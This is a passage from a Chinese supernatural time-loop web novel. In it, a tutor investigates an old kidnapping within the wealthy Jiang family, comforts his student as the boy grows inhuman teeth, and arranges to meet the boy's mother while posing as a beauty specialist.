只是快速翻阅完之后,他忍不住皱起眉头,垂睫沉思。 江世安见状,稍微支棱起来一点,等对方问资料最后提到的幕后凶手江世明是谁。 但他并不知道谢叙白脑子里多了份记忆,早已把江家人的族谱摸清。 谢叙白抬眸道:“我个人没法验证这份资料的真假性,所以要麻烦江爷现在跟我走一趟。” 江世安有股不祥的预感:“去哪?” 谢叙白起身:“去找江四爷对峙。” 江世安简直不敢相信自己听到了什么:“你有病吧,就这么堂而皇之地去问我四弟,他怎么可能会承认?何况连我二弟都睁一只眼闭一只眼,就算摊牌说开了,又有谁能做主定他的罪!” 谢叙白没有多话,手搭在那一大摞搜刮出来的文件上,平平淡淡地问:“江爷只用回答,去还是不去?” 江世安盯着他的手,脸皮抽搐,半晌咬牙挤出一个字:“去。” 很快,三人来到江家四爷江世明的住处。 作为和家主同辈分的嫡系子弟,江世明同样有资格在成年后继承另一家子公司,无拘无束不受桎梏。 但他却选择留在江氏集团,为家主效力。 江世安一开始把矛头指向江家主,就因为江世明是对方的得力干将。手下无论做什么事,都绕不过顶上的人。 如果最后证实是江世明下的手,江家主洗不干净身上的嫌疑。 门铃一响,佣人过来开门。 看见外面只有江世安一个人,谁也没带,她难掩讶异:“江爷怎么独自过来了?” 江世安:“我找四弟有点要紧事,你让他出来。” 江世明站队家主,和意图谋权篡位的江世安一直不对付,暗中结下不少梁子。 佣人估摸着来者不善,但她没法把江世安拒之门外,便顺从说道:“那江爷稍等一会儿,我去叫四爷。” 不知道是不是循环规则作祟,本该在公司干活的江世明竟然也在家。 听到江世安过来找他,他满脸疑虑地拧紧眉头,透过二楼玻璃往下看,果真只看见一道孤零零的身影。 此前江世安有事找他,都是打电话或吩咐下人带话,什么时候“纡尊降贵”亲自来过? 江世明暗道可能真有什么要紧事,快步下楼。 结果刚走出房门,就被一个拳头打飞出去! 跟着后面的佣人完全没反应过来,嘴巴一张就想尖叫,电光火石间蝉生窜进屋子里,干脆利落地将她一块补刀。 两分钟后,浑身摔得生疼的江世明在椅子上悠悠转醒。 面向幸灾乐祸的江世安,他咬牙切齿:“你这是什么意思?” 江世安指向旁边的谢叙白:“没什么意思,这位余先生对你曾经犯下过的一桩旧案很感兴趣,想找你聊聊经过。” 江世明这才看向旁边的谢叙白两人。 他刚才不是没有看见他们,只是以为这俩人是江世安带来的帮手,没把他们当回事。 听到谢叙白才是冒犯他的正主,他当即冷笑一声,尖酸刻薄地对江世安道:“我看你真的是老糊涂了。” 别说回答谢叙白的问题,他莫名其妙被人打一拳,不卸掉谢叙白一条胳膊都算自己仁慈。 江世明不准备再聊下去,杀气腾腾地站起身,一脸阴郁的样子仿佛在说“这事没完”。 直至谢叙白开口:“江四爷,你猜江家主知道你曾和江夫人有过一段露水情缘,并且至今对她念念不忘吗?” 被叫住的人霎时间如遭雷劈,脸色大变。 江世安就爱看兄弟吃瘪,在旁边偷着乐:这似曾相识的既视感啊……不对? 他瞪大眼睛看向江世明:“你居然和二弟媳——” “闭嘴!”江世明慌张环顾四周,心虚地冷喝打断他。 可江世安哪里压得住心里的震惊。 江家主是个眼里揉不得沙子的人,要是让他知道江世明对妻子的觊觎,绝对不可能把人留到现在,可想而知江世明把这段感情隐藏得有多好。 那么问题来了,眼前这个名为余又的家庭教师,到底从哪儿知道的这件事?! 谢叙白俨然不知道他在江世安心里的形象已经变得神鬼莫测,寻常般淡然地看向江世明:“现在我们可以好好坐下来聊一聊么,江四爷?” 江世明在原地僵立好半会儿,吱啦一声拉开椅子,面沉如水地坐回原位。 谢叙白没有多废话,直接将绑架案的调查资料摆在江世明的面前。 后者大概翻看一遍,阴森地瞥向谢叙白,竟是光明正大地承认了:“没错,是我做的,那又怎么样?” 语气理直气壮得像是在做一件微不足道的小事。 江世安用力一拍桌子,表现得比谢叙白还气愤:“对自己的亲侄子下杀手,你还算是人吗?” 江世明皱着眉头,像是听不懂他说的话:“什么杀手?那是每个嫡系子弟都得经历一次的历练。你和我小时候不也被父亲派人绑架过?” “啊?”江世安有些傻眼,“有吗?” “傻子吧你?”江世明是真嫌弃这个又蠢又坏的老大哥。 他厉声强调:“如果我真想让凯乐死,为什么要等到他记事以后才下手?我再怎么疏忽大意,也不可能让一个5岁小孩从手里逃脱!” “你肯定在狡辩,怎么可能会有这种历练?我一点印象都没有。” “江家树大招风,这叫从小培养孩子的危机意识。你不记得是因为自己老年痴呆!” 谢叙白听着他俩在那吵吵,一点也没因得知真相而感到轻松,只因结果和他预想中大差不离。 他虽不算完全了解江世明的为人,但知道后者除了迷恋江夫人这一个令人诟病的地方外,对江家主绝对称得上忠心耿耿,不可能莫名杀害他唯一的亲子。 资料中显示,江凯乐是在自家建立的游乐场里走丢的。 为了让大少爷玩得开心,游乐场当天直接闭馆,不对外营业。 所以江凯乐所面临的困境很明显。 谢叙白忍着后脊生出来的一抹寒意,按了按太阳穴。 他将资料往前翻,指着其中一条,向正吵得不可开交的江世明严肃问道:“你在计划绑架江凯乐的时候,有没有提前买通这名随从的佣人,让她到点自行离开?” 江世明一愣,看向资料中说的那名佣人。 女性,姓李,四十多岁,脸上长麻子,其貌不扬。 江世明没什么印象,眉宇紧蹙说:“应该没有,没什么必要。” 他的手下个个膀大腰粗,对付这种孱弱的女人根本不在话下。 谢叙白又指向下一条:“那么你也没有买通定时修建园林的工人,让他们见到绑匪的时候注意收声,不要大喊大叫?” 江世明忽然嗅到了一丝不对劲:“这样安排没意义。” 这是一场锤炼心智的历练,不是真的要绑走小孩。有围观者在旁边大吵大闹,才能更好地营造被绑架时的危急氛围。 谢叙白指尖继续往下移:“所以,你也没有安排送气球的皮套员工,刚好背转身和绑匪擦肩而过。” 江世明沉声:“没有。” “没有安排路边卖冰镇饮料的摊贩,刚好拉肚子跑厕所,不在现场。” 江世明的嘴抿紧成一根凌厉的直线,脸色黑得可怕。 “更没有安排这个游乐项目的操作员,刚好在绑匪路过的时候困得闭眼打了个盹?” 江世明再也听不下去,猛然抬头,目光阴狠:“是谁做的——” “是谁安排江家的工作人员,在江家大少爷被绑的时候顺水推舟?!” 江世安早已在旁边听傻看呆,拽住江世明问:“真不是你安排的?” 江世明一阵毛骨悚然,又愤怒又后怕:“不是!” 不是谢叙白点明,他都想象不到,号称铁桶般严防死守的江家,居然已经被未知的外部力量渗透成了个筛子。 可谁想到,谢叙白竟是摇了摇头:“没有任何人。如果真要说的话,幕后主使只有你,他们只是冷眼旁观。” “开什么玩笑!”江世明想也不想地否认道,“没有任何人安排,从游乐场的中部到门口,至少两千多米的距离,所有人一起冷眼旁观,天底下怎么可能会有这么巧合的事?” 谢叙白看着江世明气急败坏的样子,猜想他可能现在都没把那些工作人员当回事。 想想也是。 在他爆出惊天猛料前,江世明连杵在跟前的两个大活人都没放在眼里,自动忽略他们质问江世安,又怎么可能会在意这种遍地都是的小人物? 谢叙白垂睫。 想让小人物们统一意见可不太容易。 有牵头者吗?不,那样目标太明显,会引起江家人的注意。 如果是不谋而合,必须得有一个共同想要达成的目的。 谢叙白捏了捏胀痛的眉心。 为了证实自己的猜想,他还得再去找几个人,并且动作要快。 时间转瞬来到晚上。 江凯乐听说谢叙白在逐一拜访江家人,本来想等他回来一起吃晚饭,却不知道为什么,忽然变得异常饥饿。 他便让佣人先上点心。 佣人拿来奶油浓厚的小蛋糕,平时这东西江凯乐吃一口就腻了,今天却是一口一个,吃到最后都没有饱腹感。 他又忍不住让佣人端上水果,不等人现切,直接拿来吃。 尖锐的牙齿将苹果咬得咔嚓作响,汁水横流。饥肠辘辘的江凯乐,甚至没注意到苹果汁顺着掌纹淌在了衣服上,更没有注意到自己连果核都囫囵吞咽下去。 佣人也不敢让他饿着,见人意犹未尽地舔嘴唇,便来回小跑继续拿水果。 后面基本端上来多少,江凯乐就吃多少。 就这样一直吃,一直吃,直至吃到在场佣人都忍不住目露恐惧,他终于停了下来。 摸着没有变化的肚子,江凯乐也很疑惑自己今天的胃口怎么这么大。 忽然,他感觉到一阵汹涌不可抵挡的困意,眼皮子一点点地耷拉下去。 不想睡在大厅,江凯乐撑着困意起身,和门口的佣人说:“如果老师回来,你告诉他我在房间里睡觉,直接来叫醒我。” 佣人答道:“是。” 回到房间的江凯乐几乎没撑过半分钟,倒在床上闭眼睡了过去。 少年的意识摇摇晃晃,沉入缥缈的梦镜。 他最近经常做梦,噩梦美梦都算不上,只是不断回忆起一些曾经发生过的事。 久远的记忆会变得异常模糊,但这一次梦中,他的意识却很清晰。 他清楚地梦到自己变成一个矮小的四头身,两只胳膊高高地举起来,都够不到随从女佣的肩膀。 周围响起游乐园欢快的小调,过山车穿过轨道发出急促的爆鸣声。 地上旋转木马呼啦啦地转,童话主题的背景画色彩斑斓,到处都是孩子们的最爱。 他玩得特别开心。 直到女佣忽然停下脚步,俯身对他温柔地说自己有点事情要去办,让他和保镖等在原地。 五岁的江凯乐很不舍,但最后还是软软地应声,强调道:“我还有很多东西想玩,就等你一下下,你要快点回来哦!” 女佣摸了摸他的脑袋,离开了。 没过多久,绑匪突然出现,枪杀保镖,挟持江凯乐。 江凯乐满眼惊恐,吓得哇哇大哭,在绑匪的手里又打又踢,拼命挣扎。 他看到修园林的伯伯,张嘴想喊人,伯伯却丢下手里的大剪刀,闷着头快步跑走。 他看到送气球的大熊玩偶,在他撕心裂肺的呼声下背转过身,用那往日里憨态可掬的走路动作,朝着另一条街道一摇一晃地走去。 他的目光扫过无人的饮料摊,又看向机房里闭目养神的操作员,声音都喊哑了,也没人搭理他。 为什么你们都看不见?听不见? 直到快被绑匪带出门口,江凯乐仓惶中再次抬头看向游乐园。 他看见之前的摊贩回来了,操作员也睁开了眼。 那些人麻木的眼中好似藏着一抹狂热的光,就这么一动不动地看着他被带走。 他们一直看着。 …… “江凯乐?江凯乐!” 焦急的嗓音刺入宛如迷障的梦境,江凯乐唰一下睁开眼。 冷汗争先恐后地从毛孔渗出,他呼吸急促,有一种莫名的惊悚感,脑子乱得不行。 直至看到眼前不掩担忧的谢叙白,绷紧的肌肉才缓缓放松下来:“老师。” “你没事吧?”谢叙白眉头紧锁,一丝不苟地检查少年的身体,“佣人说你今天的食欲很不正常,是不是身体出了什么问题?” 眼看谢叙白快触碰到自己没有心跳的胸口,江凯乐一惊,连忙握住人的手。 为了让对方安心,他大大咧咧地说道:“老师你太容易紧张了,我还是十六岁长身体的年纪,食欲大点不是很正常?” 谢叙白忽然目光一凝,按住江凯乐的下巴:“你先等等,把嘴张开。” 江凯乐怔住,后知后觉地感受到口腔里的痒意,下意识伸舌头去舔。 不知道什么时候起,他的牙床突然变宽了一些,舌头轻轻一扫,舔到一排细小圆润的突起。 ——是刚长出来的新牙。 第39章 分你一颗 或许是梦境带来的惊惶未散,或许是本就死死绷紧着神经。 当谢叙白俯身,想要近距离观看少年口腔里那排明显不属于人类的新牙时,江凯乐瞳孔一缩,反应极大地将他推开! 嘭。 这一推,两人都始料未及。 哪怕少年克制着自己,没有对谢叙白用力,也把毫无准备的青年推得一个踉跄,差点撞上后面的书桌! 看着谢叙白跌跌撞撞地伸手撑在书桌前,江凯乐这才反应过来刚才干了什么,瞳孔震颤地盯着自己的手,刹那间激起一背冷汗。 他快步上前,想要搀扶谢叙白,急急忙忙地辩解:“老……” 结果吐字的时候舌头一伸,又舔到了那排圆润的新牙。 江凯乐的动作瞬间僵在半空中,包括快要扶上谢叙白的手。 梦境中工作人员视而不见的眼神,现实中江家下人畏惧恐慌的目光,在此刻如惊涛骇浪般一齐涌上少年的心头,莫大的恐惧感几乎将他淹没。 他脑子倏然一乱,再次做出一个让自己后悔至极的动作。 他后退了。 “……老师,抱歉。” 江凯乐以为自己情绪不稳,会吐字不清,结果说出来的话比他想象中还要平静。 “我今天确实有点不太舒服,想要早点休息,能不能请您先离开一下?” 强撑镇定的少年不会知道,对熟悉他的长辈来说,那一点平静形同虚设。 谢叙白手肘后撑桌面,腰部靠上的位置有点痛,准是刚才不小心磕到了。 但他无暇顾及。 在谢叙白的视野中,少年始终笔直的腰背像被砍断般瘫软下去,本来高挺的身段此时缩手缩脚,茫然地不知道往哪儿放,硬生生矮掉半个头。 那双赤红的眼睛死死地盯着他,瞳孔凝成针状的竖线,随起伏不定的心情疯狂收缩。 就像一只渴望拥抱却无意扎到人的刺猬,听到对方的惨叫后,担心地往前一步,却不曾想将人扎得更惨。 于是刺猬蓦然意识到,自己的刺会给人带来痛苦和伤害,因此六神无主,惶恐惊惧。 江凯乐没听到谢叙白的声音,不敢抬头,眨了眨湿润的眼睛,声若蚊蝇地恳求:“好吗?让我一个人好好休息会儿。” 谢叙白的嘴瞬间抿紧成一根直线。 他没退,更没走,冲上去拽住猝不及防的少年,一反常态地大声呵斥道:“当然不行!” 刹那间少年仰头看他,异化的猩红兽瞳再次急缩,面如死灰。 “江凯乐!都什么时候了还这么任性?快点张嘴让我看看。” 谢叙白的呵斥丝毫没有间断,神情不是一般的焦急:“我在网上看到过,这种多齿症如果不早点治疗,后期恶化起来会非常严重。” “还是说你想嘴里长满牙当蜗牛?” 江凯乐不知道蜗牛的嘴长什么样子,但谢叙白装腔作势的恐吓,显然把他惊得不轻,一时忘记闭紧嘴。 等他反应过来的时候,谢叙白已经活用巧劲捏开他的嘴巴,仔仔细细地扫视。 江凯乐有身为诡王的预感,他知道自己长牙并不是谢叙白所说的多齿症,见人打量得这么认真,忍不住想往后躲。 谢叙白再次轻斥:“别动。” 他不轻不重地往少年后脑勺盖上一巴掌,极有威严地盯着他,终于让江凯乐老实下来。 几分钟的检查时间过去。 迎着江凯乐忐忑心虚的眼睛,谢叙白抿唇肯定道:“和我在网上看的一模一样……明天必须得去找一下吴医生。” 此话一出,江凯乐感觉到自己那颗不存在的心,终于落回原位。 他缓缓挺直腰背,忍不住又舔一舔长出来的新牙,装得不谙世事:“……有这么严重吗?” 谢叙白淡淡地瞥他一眼,拿出手机搜索图片,递到江凯乐的面前。 只是稍稍看上一眼,江凯乐不以为意的脸登时惨白如纸,疯狂冲进浴室里去照镜子。 不一会儿,传来少年吱哩哇啦的不忿声。 “哪有这么恐怖?老师你骗人!它们刚刚冒头,不仔细看都看不见。” 谢叙白透过浴室门的缝隙,看到少年用手拉开两边嘴巴,紧张得一张脸快怼到镜子上去,忍不住想笑。 他煞有其事地扬声回应。 “你要是不重视,后面就有那么恐怖!总之明天必须跟我去找吴医生,最好再找管家联系一家牙科医院,随时准备开刀动手术。” “还要动手术??” 谢叙白不再应声,等待江凯乐自己在浴室里收拾好情绪。 同时指尖快速敲击屏幕,在手机上搜索动物牙齿排行榜。 牙齿在口腔美容的范畴内。 之前谢叙白被江夫人聘请为美容顾问的时候,了解过一点皮毛。通过牙龈周围的鼓胀程度,能大概判断出牙齿有没有错位。 他刚才仔细打量江凯乐的新生牙,虽然才冒尖尖头,但错落均匀,极具美型。 不知道是不是为了贴合新牙,前一排的旧牙往前倾斜,顶端削薄变尖,初现野兽獠牙的姿态。 江凯乐的牙齿不是畸形的病变类异化,而是自然生长,形如凶兽。 谢叙白视线扫向查出来的答案。 鲨鱼、海豚、鳄鱼,似乎都能契合。 忽然,他想起机械声里提起过的“屠龙少年”,顿了顿,在搜索框里打出一个问题。 ——传说龙有多少颗牙齿? 答:432到800颗。每列由36到40个牙齿群构成。(由于现实中没有真龙存在,该回复为答主据各种传说故事推测,对真实性概不负责) 谢叙白的心登时沉到谷底。 几百颗或许有些夸张,但他有股说不出的预感,照江凯乐一次长一列的趋势,最后的牙齿肯定有上百颗。 人类的口腔无法承载那么多颗牙,为了契合牙齿的异化,江凯乐的体型必定会随之变化。 要么变成现实里的海豚鲨鱼,要么变成能传说毁灭一个国家的幻想种——龙。 纸包不住火。 到那时候,他们必定会再次面临今天这样的冲突。 谢叙白垂下眼睫,神情隐没在垂落的阴影中,拇指指尖抵住食指,随脑海中不断闪现的诸多思虑,掐出一道道泛白的痕迹。 等江凯乐出来的时候,他已经收拾好所有的情绪,拇指再在指腹上一按,连那点细微的泛白指印,也被抹得干干净净。 谢叙白猜江凯乐脑子混乱,应该不希望自己留下来,叮嘱道:“明早我来喊江同学去看吴医生,记得早睡,听到没有?” 江凯乐拉住他的衣袖:“等等,老师,您的后背有没有问题?” 他还记得自己刚才推了谢叙白一下,让人不小心撞在桌子上。 谢叙白按了按后背,没什么感觉,刚想说没事,便见少年懊悔万分地道:“有我这样的学生,一定很让老师感到烦恼吧,我总是控制不住自己的脾气,像个累赘包袱似的……真的很对不起。” 谢叙白心头一软。 他在少年的脑袋上揉了揉,温润柔和的视线与人相齐,发自内心地说:“怎么会?” 少年的不断成长,让谢叙白明白教导的意义和重要性。 他此前忙于生活,脑子里充斥着成年人的计较和得失,一颗心沉寂似水。也是少年用赤忱热烈的笑容,再度唤醒他模糊不清的初心。 和小孩相处的时间久了,自己也会不知不觉变得像一个小孩,此话不假。 和江凯乐相处的那些日子,他仿佛回到久违的少年时期,有等着去实现的梦想,有光辉璀璨的未来。 以至于之后不管是熬夜写教案,还是见缝插针地学习新技能,谢叙白都精神十足,很少会觉得苦或累。 “江凯乐,你不是什么累赘包袱,你是我的宝物,让我获益匪浅。”谢叙白将少年揽进怀里,认真地拍拍他的背,“每一天,每一刻,包括现在,我始终庆幸自己能成为你的老师。” 江凯乐不知道该做出什么样的反应。 他感觉到自己久违跳动的心脏怦然跃动,脸上传出羞赧的热意。 不自在的同时,又忍不住将脑袋抵在谢叙白的胸口,红着眼圈闷闷地说:“我也一样。” 他很长时间都忍不住在想,自己是不是上辈子拯救过世界,才有幸成为谢叙白的学生。 情绪激荡不已,江凯乐的口腔再度传来痒意,他忍不住去舔。 那几颗新生的牙好像往回缩了一点。 或许是他的错觉。 “老师今晚可不可以留下来?”江凯乐鼓起勇气请求,支支吾吾的,“……我怕做梦。” 谢叙白眨了眨眼睛,有点意外,揶揄道:“那要不要老师再给你讲几个睡前故事?” 看着那双蕴着浅淡笑意的眼睛,江凯乐的脸瞬间红了个彻底。 谢叙白怜惜自家学生的境遇,见少年开始手足无措,便舍不得再逗他,笑着应承下来:“当然可以,只不过老师得先回去洗个澡,换套干净的衣服再过来。” “没关系,衣服可以让管家拿。最重要的是江家的晚上不太平,您是我的老师,不会受到什么影响,但他就不一样了。” 江凯乐顺势转头,通过半掩的房门缝隙,和偷偷摸摸观察的蝉生对上眼。 他的眼神不似面对谢叙白的温顺,冷淡地咧嘴一笑:“要知道,江家人可不是一般的排外。” 蝉生虽然笨,但危机意识十足。 嗅到江凯乐话里的危险气息,他瞬间寒毛直竖,腰背一弓摆出战斗的架势。 谢叙白连忙朝蝉生做一个安抚的手势,不得不说很意外,迟疑地问:“江同学愿意让蝉生进你的房间?” 诡王领地意识极强,领域所在之地,其他诡怪莫敢侵犯。 换句话说,只要得到诡王的首肯,这里就是全江家最安全的地方。 江凯乐撇嘴:“原本是不愿意的。” 何止是不愿意。 在这些外来者踏入江家的那一刻,他就有种被蚂蚁爬上皮肤的不适感,恨不得一巴掌把他们全部拍死。 这种厌恶来势汹汹,且莫名其妙。 不小心撞倒佣人,还会让江凯乐产生一丝丝的愧疚感。 但想要杀死任何一名玩家,却被他潜意识视为理所当然。 只是江凯乐一想到老师那么善良,动手的欲望立时减轻不少。 或许他可以试着把蚂蚁从身上轻轻拨走,然后找机会放生。 至于现在,让蝉生在他房间里呆一晚上又何妨——反正就一晚,等到明早诡怪一散,他就把蝉生踹出去。 谢叙白想说什么,但视线在两人之间一打量,忽然意识到这是个让江凯乐结交新朋友的好机会。 他笑着道:“那好,我先去洗澡,你俩认识一下?” 谢叙白朝蝉生招了招手,后者愣住,解除防御架势,乖巧地推开门走过来,被青年耳语叮嘱。 “这是我看重的学生,你可以帮我照顾他一会儿吗?” 江凯乐身负诡王的敏锐听力,怎能听不到谢叙白的悄悄话。前半句让他发飘,后半句让他嗤之以鼻。 这个傻子能照顾他? 等到谢叙白离开之后,蝉生看向神情冷漠的江凯乐。 蝉生钝感力十足,不在意江凯乐的冷脸,想起谢叙白的吩咐,慢吞吞凑上去,努力半天憋出一句话:“他很好,对吧?” 江凯乐眼神微变,转头讶异地看向蝉生。 后者目光清澈又真挚,他没有编造谎话的意识,一言一语皆都发自肺腑。 江凯乐冷意消散。 如果蝉生像其他人那样,满脸谄媚地讨好他,他一定会第一时间把人给扔出去。 但对方要是满脸真诚说谢叙白的好……他只会认同地点头:有眼光。 随后江凯乐看见蝉生的手摸向口袋,又掏出两颗橘子糖。 “我吃完,说很喜欢,他又给我六颗,我没忍住,吃掉很多。” 在江凯乐意外的目光下,蝉生抿抿唇,不舍地把其中一颗递给少年:“可以分你一颗。” 这应该算在照顾江凯乐吧? 循环开始后,江凯乐还没来得及吃上谢叙白的糖。 他看着蝉生手里的糖,一时间有些嫉妒,阴郁着脸伸手去拿,却怎么都拽不动。 ——这傻子把糖捏得死紧,像八辈子没吃过糖一样! 江凯乐气笑:“你到底给不给?” 说出去的话不好收回,蝉生依依不舍地松手,认认真真地强调道:“那你要好好吃掉它。” “好好好!”当着蝉生的面,江凯乐不耐烦地将糖纸拨开,扔进嘴里。 橘子糖的甜味萦绕口腔,是熟悉的味道。 本来不爽的江凯乐,不由得沉默一下。 他转头,见蝉生眼也不眨地盯着他,似乎还在惋惜那颗送出去的糖,一时间又好气又好笑:“他给我都是一包一包地给,稀罕你这小小的一颗?你等着,我以后还你一整包。” 蝉生脑子笨,却记得谢叙白说1包有30颗糖,那叫一个惊喜,顿时崇拜地看着江凯乐,两眼直放光:“你说真的?” 江凯乐好久没被人全心全意地感激着,倏然忘记自己刚才还想明早就把蝉生踹出去。 “真的。” 反正周围只有个傻子,没其他人看他中二的样子。 江凯乐眉梢一扬,信誓旦旦地保证道:“我以江少侠的名义担保,你总该相信了吧。” “什么侠?”蝉生茫然。 另一边,说是在隔壁房间洗澡的谢叙白背靠房门,听到外面隐约传来的欢脱谈话声,忍不住松了口气,弯起眸眼。 他走到窗边。 谢叙白已经觉醒,能窥见世界的真貌,听到真实的声音,自然也能看见那些张牙舞爪的鬼影。 房屋内外简直像两个世界,屋内灯光璀璨,屋外诡怪肆虐,时刻提醒谢叙白要抓紧时间。 月光直照而下,似苍白海浪在他深沉的眼中起伏。 今天剩余的半天时间,他所搜集到的线索都大差不离地指向江家下人存在异心,但却找不到将这些异心联合在一起的因缘。 运气好的是,据谢叙白的打探,出门探亲的江夫人明天就会回来。 在谢叙白的印象中,平时江夫人都表现得像个乐于攀比且没心没肺的阔太太,不在乎儿子,不在乎老公,也不管江家怎么发展,只要有钱让自己过得舒服就万事大吉。 但身为江凯乐的生母,几十年如一日地占稳江家主枕边人的位置,她真的会像表现出来的那么简单吗? 第40章 美容时间 第二天一早,谢叙白先带着江凯乐他们去找吴医生。 老人乍一听江凯乐的情况,很是心惊,绞尽脑汁地想着该怎么编造谎言来为少年打掩护。 结果转身看见谢叙白对他暗示性地眨了眨眼,当即一怔,旋即意识到什么。 一瞬间吴医生震惊得无以复加,强行让自己镇定下来,尝试配合:“谢,谢老师不用担心,这是每个江家人都有的遗传病,长成之后会自动脱落。” 江凯乐眼皮子狠狠一跳,这种没根据的解释,老师怎么可能会信? 谢叙白的确没有第一时间表现出相信。 他又接着问了几个不痛不痒的问题,在吴医生依次回答后,恍然大悟地道:“江家这种遗传病还真是怪异,不过江同学没事就好。” 江凯乐不敢置信地看着谢叙白。 这些解释他听着都牵强,老师还真信了? 谢叙白忍俊不禁地点点他的眉心:“不过既然在长牙,江同学是不是应该控制下食欲,少吃点糖果零食之类的?” 江凯乐瞬间像被捏住后颈肉的猫,顾不上去怀疑谢叙白到底信没信,快声说:“吴医生不都说了吗,这些牙齿最后会自己掉,还用得着保护它们?” “长成之后才会掉,中间那么长的时间,万一长蛀牙了怎么办?”谢叙白作势吓唬他,“很痛的哦。” 江凯乐想不到反驳的话,求助般看向吴医生。 谢叙白一句“您老别娇惯他”插进来,正想说辞的老人闭上嘴,露出爱莫能助的眼神。 江凯乐瘪着嘴闷闷不乐:“可我都已经和蝉生约定好了……” 谢叙白顺势看向门口探头探脑的蝉生,眉眼含笑:“就当庆祝咱们的江同学喜获朋友一枚,老师过后给你带糖,但你近期要少吃,听到没有?” 听到前半句话,江凯乐耳根子一红,语气干巴巴地反驳:“谁和他是朋友?” 谢叙白笑看着他,连吴医生也不见愁容,一脸乐呵呵的,均是一副看破不说破的样子。 江凯乐被看得浑身不自在,像凳子底下长满刺般坐不住,起身风风火火往门口走:“不跟你们说了!老师不是还想找吴医生问点别的事情吗?我先出去等着。” 出门后,江凯乐一把勾住蝉生的肩膀,不知道说了些什么,引得后者再次露出崇拜的眼神:“你真的好厉害。” 少年立时嘚瑟起来,眉飞色舞。 吴医生见状,脸上说不出的欣慰,感慨道:“要是时间能一直停留在这一刻该多好。” 停留在这寻常的欢乐时光,不用面对最后残忍荒诞的结局。 谢叙白余光瞄见江凯乐高高竖起的耳朵,知道少年还在暗中偷听他们的对话,笑着接道:“总要长大的。” 吴医生回神敛声,复杂地看向他。 原以为谢叙白无知无觉,谁想到青年已经洞察一切,以至于让他忍不住生出一抹期望。 回神后,吴医生又觉得自己的想法过于荒谬。 就算谢叙白拥有不俗的意志力,也摆脱不了身为普通人类的事实。肉眼凡胎,不会术法,早晚会被江家异化。 他应该多告诫谢叙白离除江凯乐以外的江家人远点,怎么能让人置于危险…… “吴医生,您对江夫人的了解多不多?”谢叙白道,“听说她今天上午就回来了,但我一直找不到机会拜访她。” 吴医生乍然回神,对上谢叙白诚挚的目光,刹那间冷汗都要掉下来。 他也没想到自己的期望这么灵验,上一秒刚想着让人躲避危险,下一秒人就上赶着往火坑里跳! 可他劝告的话没能说出口,谢叙白就像早有预料地笑着说道:“料想江夫人应该不会在意我这样的小人物,但身为江凯乐的家庭教师,我理当和家长见一次面,您说是不是?” 在谢叙白清楚江家有问题的情况下,这话说出来的分量不是一般的重。 吴医生嚅嗫嘴唇,一边是惊讶,一边是挣扎。 半晌,老人终于在谢叙白坚定不移的目光中缓缓开口,嗓音干涩得不像话:“江夫人每年都会定期体检,原本在上个月,但因为这次回家探亲后耽误了时间,体检跟着往后推迟。” “昨天我接到女佣的电话,说江夫人今天上午回来后直接休息,下午两点再来医院体检。如果你想见她,我可以安排。” 顿了顿,吴医生沉声担保:“不会引起任何人的怀疑。” 他在江家没什么话语权,尽力帮谢叙白掩人耳目,是他所能做到的全部。 谢叙白对上老人歉愧的目光,定了定神,认真道:“这样已经够了,吴医生,您帮了我大忙。” 和江世安他们不同,江夫人去哪里都带着不下五名佣人,蝉生身手再好,也没法在不惊动任何人的前提下挟持对方。 他昨天的行事称得上大张旗鼓,估计已经引起江家主的注意。 所以这次拜访江夫人,不能动粗,不能引发激烈的言辞争论,不然他将要面对的,可能就是近百名狂暴的保镖。 谢叙白也想过要不要拜托吕向财。 但这个循环中的吕向财没有被困在盛天集团,也就没有理由为他冒得罪江家的风险。 而且谢叙白之后翻看手机,和吕向财的聊天记录只有两三条,最后一条还是转告加班时间,用词冷淡且公式化,连普通朋友都算不上。 还在公司的时候,也是他脑子受循环重启的影响,有些没转过弯,顺坡下驴请求上吕向财。 如今想想看,对方主动提出帮他引荐,着实有点不可思议。 ——循环的世界,终究不是真实的世界。 进入江家后,谢叙白尝试和吕向财联系,明明信号正常,也能上网,但消息就是发不出去。 同样他拨家里的座机电话,没“人”接听。 他所爱的小家伙们,还有熟悉的朋友,都不在这个被塑造出来的异空间。 谢叙白深刻地清楚这一点,但听着电话里的忙音,仍忍不住垂了垂眼睫。 同时他愈发坚定,要撞碎这假世界,带江凯乐和其他被困者逃脱。 很快时间来到下午一点左右。 谢叙白提前来到医院。 防止引起不必要的麻烦,他特意走的后门,避开护士的注意。 江家医院一共三层楼。一层是门诊,二层手术室,三层体检室,放置着许多精良的医疗设备。 吴医生正常情况下不会使用那些设备,但循环的规则,赋予了他操作设备的诡力。 没有让护士插手,他坚持为江夫人做完所有体检项目。 项目结束后,吴医生让护士去楼下准备体检报告,看着倦色未消的江夫人,提出早已准备好的说辞:“夫人,最近医院刚引进光子嫩肤的技术,效果很好,您要不要试试看?” 江夫人顿时精神一振,只是扭头看见吴医生满是沟壑的老脸,瞬间没了兴致:“光子嫩肤,你来做吗?” 她显然不相信一把年纪的吴医生能学好这项技术,语气懒懒散散。 吴医生摇头:“当然不是,江家找来一位国外进修过的美容专家,技术绝对靠得住。您要是有意愿,可以先试试,如果感到不行或不舒服,随时都能停止。” 对江夫人这样的豪门阔太太来说,光子嫩肤当然没什么好稀罕的,她手里至少拥有近十家高档美容院的至尊会员卡,什么领先前沿的美容科技都试过。 但一是江夫人周途劳顿,现在不太想动弹。 二是循环开启后,她的思维受到规则限制,如非行程需要,轻易不会想到离开江家。 “那就试试吧。”江夫人慵懒地说道。 他们来到同一层的美容科,江夫人在椅子上躺下,感觉有点冷,让吴医生把空调开高一点。 吴医生应是,随即朝室内喊了一声,一道颀长清瘦的人影缓缓步入江夫人的视野。 那人脸上戴着口罩,看不出长相如何,但露出来的一双眼睛若繁星璀璨,又有着江南烟雨的沉静,叫人看上一眼便难忘。 除此之外,干净整洁的扮相、清爽时尚的发型、从容不迫的姿态,也在江夫人的心里加上不少分。 江夫人心想,和吴医生这个快进棺材的老东西比起来,眼前的年轻人确实有几分美容大师的气质。 她稍微放松一些,紧跟着看见年轻人拿来个造型精致的玻璃瓶,里面盛着淡紫色的液体,轻巧地摆在她旁边的桌子上。 不等江夫人询问,年轻人已然笑着开口解释道:“这是添加了中药草本植物精华的熏香,有养神的功效。” “您看。”年轻人骨节分明的手指轻轻搭在江夫人的太阳穴上,顺时针不急不缓地揉动起来,“身体是不是一下子放松许多?” 江夫人抬了抬眼。年轻人的嗓音很好听,刻意放柔之后,让人有股春风拂过杨柳岸的惬意。 她知道这人在触碰自己前,特意仔仔细细洗过手。水声哗啦啦,而她听得清清楚楚。 